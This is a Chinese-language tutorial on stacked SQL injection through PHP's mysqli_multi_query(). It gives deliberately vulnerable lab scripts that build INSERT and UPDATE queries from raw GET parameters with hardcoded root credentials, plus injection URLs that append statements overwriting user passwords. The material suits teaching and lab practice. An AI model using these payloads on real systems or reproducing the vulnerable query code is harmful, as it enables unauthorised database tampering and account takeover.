sql堆叠注入

准备知识:

  • php中multi_query():一次可以执行多个sql语句
  • 比如:查询注入id=1;update xxx;

定义:如果后端代码中,数据库执行的方法是multi_query(),那么就可以一次执行多个sql,也就可以支持堆叠注入了。

准备靶场:

php 复制代码
<?php

$id=$_GET['id'];

$conn=mysqli_connect("192.168.190.133", "root", "123456", "crm",3306);
mysqli_query($conn, "set name utf8");

$sql="insert into userinfo(id) values($id)";
$res=mysqli_multi_query($conn, $sql) or die(mysqli_error($conn));
if($res){
    echo "yes";
}else{
    echo "no";
};
?>

验证:

准备sql注入:

ini 复制代码
http://192.168.190.133/wh067/08-sqli/demo1.php?id=2;update userinfo set password = '123' where id=2;

结果:

如果是更新注入类型:insert

靶场:

php 复制代码
<?php

$id=$_GET['id'];

$conn=mysqli_connect("192.168.190.133", "root", "123456", "crm",3306);
mysqli_query($conn, "set name utf8");

// $sql="select * from userinfo where id=$id";
$sql="insert into userinfo(id) values($id)";
$res=mysqli_multi_query($conn, $sql) or die(mysqli_error($conn));
if($res){
    echo "yes";
}else{
    echo "no";
};
?>

注入sql

ini 复制代码
http://192.168.190.133/wh067/08-sqli/demo1.php?id=11);update userinfo set password = '666' where id=2;-- -)

如果是更新注入类型:update

靶场:

php 复制代码
<?php

$id=$_GET['id'];
$account=$_GET['account'];

$conn=mysqli_connect("192.168.190.133", "root", "123456", "crm",3306);
mysqli_query($conn, "set name utf8");

// $sql="select * from userinfo where id=$id";
// $sql="insert into userinfo(id) values($id)";
$sql="update userinfo set account='$account' where id=$id";

$res=mysqli_multi_query($conn, $sql) or die(mysqli_error($conn));
if($res){
    echo "yes";
}else{
    echo "no";
};
?>
相关推荐
KENYCHEN奉孝4 分钟前
一个基于Django的进销存管理系统Demo实现
数据库·sqlite
m01ly6 分钟前
Django 使用 Celery 完成异步任务或定时任务
数据库·django·sqlite
自由与自然9 分钟前
乐观锁与悲观锁的使用场景
java·服务器·数据库
OceanBase数据库官方博客2 小时前
火山模型的优缺点与优化实践 | OceanBase SQL优化
sql·oceanbase·分布式数据库
Yasen^o3 小时前
Redis高可用
数据库·redis·缓存
.生产的驴7 小时前
SpringBoot 接口限流Lua脚本接合Redis 服务熔断 自定义注解 接口保护
java·大数据·数据库·spring boot·redis·后端·lua
施嘉伟7 小时前
Oracle 表空间高水位收缩全攻略
数据库·oracle
apcipot_rain7 小时前
【数据库原理及安全实验】实验二 数据库的语句操作
数据库·安全·oracle
Dav_20998 小时前
dav_1_MySQL数据库排查cpu消耗高的sql
数据库·sql·mysql
小诸葛的博客10 小时前
Go 语言中的select是做什么的
数据库·sql·golang